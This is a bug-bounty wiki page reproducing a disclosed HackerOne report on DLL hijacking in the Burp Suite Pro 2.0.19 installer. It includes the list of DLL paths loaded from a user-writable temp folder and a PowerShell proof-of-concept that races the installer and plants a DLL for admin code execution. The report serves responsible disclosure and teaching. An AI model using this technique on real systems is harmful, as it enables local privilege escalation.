Skip to content
RCE Disclosed report Intermediate

DLL Hijacking in Burp Suite Pro 2.0.19 Installer

The Burp Suite Pro installer loads DLLs from a temporary folder whose permissions allow the current user to modify its contents. A local attacker could place a malicious DLL in that folder and have it executed with administrator privileges during installation.

freetom Follow

Originally disclosed on HackerOne

  • Disclosed after 3 days

I've found that the latest installer of Burp Suite Pro tries to load some DLLs from an unprotected folder. After providing it with admin privileges (required to install) it tries to load these DLLs:

C:\Users\bortto\AppData\Local\Temp\e4jA5E5.tmp_dir1553882416\jre\bin\WINMM.dll
C:\Users\bortto\AppData\Local\Temp\e4jA5E5.tmp_dir1553882416\jre\bin\WSOCK32.dll
C:\Users\bortto\AppData\Local\Temp\e4jA5E5.tmp_dir1553882416\jre\bin\VERSION.dll
C:\Users\bortto\AppData\Local\Temp\e4jA5E5.tmp_dir1553882416\jre\bin\WINMMBASE.dll
C:\Users\bortto\AppData\Local\Temp\e4jA5E5.tmp_dir1553882416\jre\bin\DBGHELP.DLL
C:\Users\bortto\AppData\Local\Temp\e4jA5E5.tmp_dir1553882416\jre\bin\dbgcore.DLL
C:\Users\bortto\AppData\Local\Temp\e4jA5E5.tmp_dir1553882416\jre\lib\libjava.base-coop.dll
C:\Users\bortto\AppData\Local\Temp\e4jA5E5.tmp_dir1553882416\jre\lib\libjava.logging-coop.dll
C:\Users\bortto\AppData\Local\Temp\e4jA5E5.tmp_dir1553882416\jre\lib\libjdk.compiler-coop.dll
C:\Users\bortto\AppData\Local\Temp\e4jA5E5.tmp_dir1553882416\jre\lib\libjdk.scripting.nashorn-coop.dll
C:\Users\bortto\AppData\Local\Temp\e4jA5E5.tmp_dir1553882416\jre\lib\libjdk.internal.vm.ci-coop.dll
C:\Users\bortto\AppData\Local\Temp\e4jA5E5.tmp_dir1553882416\jre\lib\libjdk.internal.vm.compiler-coop.dll
C:\Users\bortto\AppData\Local\Temp\e4jA5E5.tmp_dir1553882416\jre\bin\WINHTTP.dll
C:\Users\bortto\AppData\Local\Temp\e4jA5E5.tmp_dir1553882416\jre\bin\urlmon.dll
C:\Users\bortto\AppData\Local\Temp\e4jA5E5.tmp_dir1553882416\jre\bin\iertutil.dll
C:\Users\bortto\AppData\Local\Temp\e4jA5E5.tmp_dir1553882416\jre\bin\CRYPTBASE.DLL

e4jA5E5.tmp_dir1553882416 is a temporary folder that is created just in time by the installer but its ACL doesn't protect it from modifications by the current user. The folder is dynamically created, though there is a time window in which a local attacker (that has a program running as the current user but looks for escalating privileges for persistence, etc.) can find the folder and inject a DLL and get code execution as admin.

I created the following script to exploit the issue:

$output = ""
while(!$output){
        Start-Sleep -milliseconds 10
        $output = Get-process | where {$_.ProcessName -like 'burpsuite_pro_windows-x64*'}
}
Start-Sleep -milliseconds 1000
$f = (Get-ChildItem -Filter "*tmp_dir*" C:\Users\bortto\AppData\Local\Temp\ | ?{ $_.PSIsContainer } | Sort CreationTime -Descending | Select -First 1).Name.trim()

Write-Host "$f"

Copy-Item -Path "C:\users\bortto\Downloads\Project1.dll" -Destination "C:\Users\bortto\AppData\Local\Temp\$f\jre\bin\DBGHELP.dll"

I attach Project1.dll (is just a DLL that upon loading pops a message box with the current user). I compiled it myself.

I also attach a video that shows the PoC running successfully (note: the few seconds of black screen are due to Windows UAC popup). I tested the video and is viewable with Windows Media Player.

Impact

Local Privilege Escalation

Attachments

privesc_burp.mp4 From the original on HackerOne

The original report as published on HackerOne, by freetom. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

A local attacker could escalate privileges to administrator by injecting a DLL into the installer's temporary folder during installation.

What the attacker needed

Local access to the machine; ability to run a program as the current user; installer must be run with admin privileges; timing window during installation

How it was found

  1. Start the Burp Suite Pro installer and wait for it to create a temporary folder.
  2. Identify the newly created temporary folder under the user's Temp directory.
  3. Copy a malicious DLL into the jre\bin subfolder of that temporary folder, naming it after a DLL the installer will load.
  4. The installer loads the malicious DLL with administrator privileges, executing the attacker's code.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a program starts, it often loads extra code from DLL files. If an attacker can put their own DLL where the program looks, the program will run the attacker's code instead. Here, the installer looked for DLLs in a temporary folder that any normal user could write to, so an attacker could get their code to run with the installer's admin rights.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by freetom

View all

2 more disclosed reports, best first.

More from PortSwigger Web Security

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.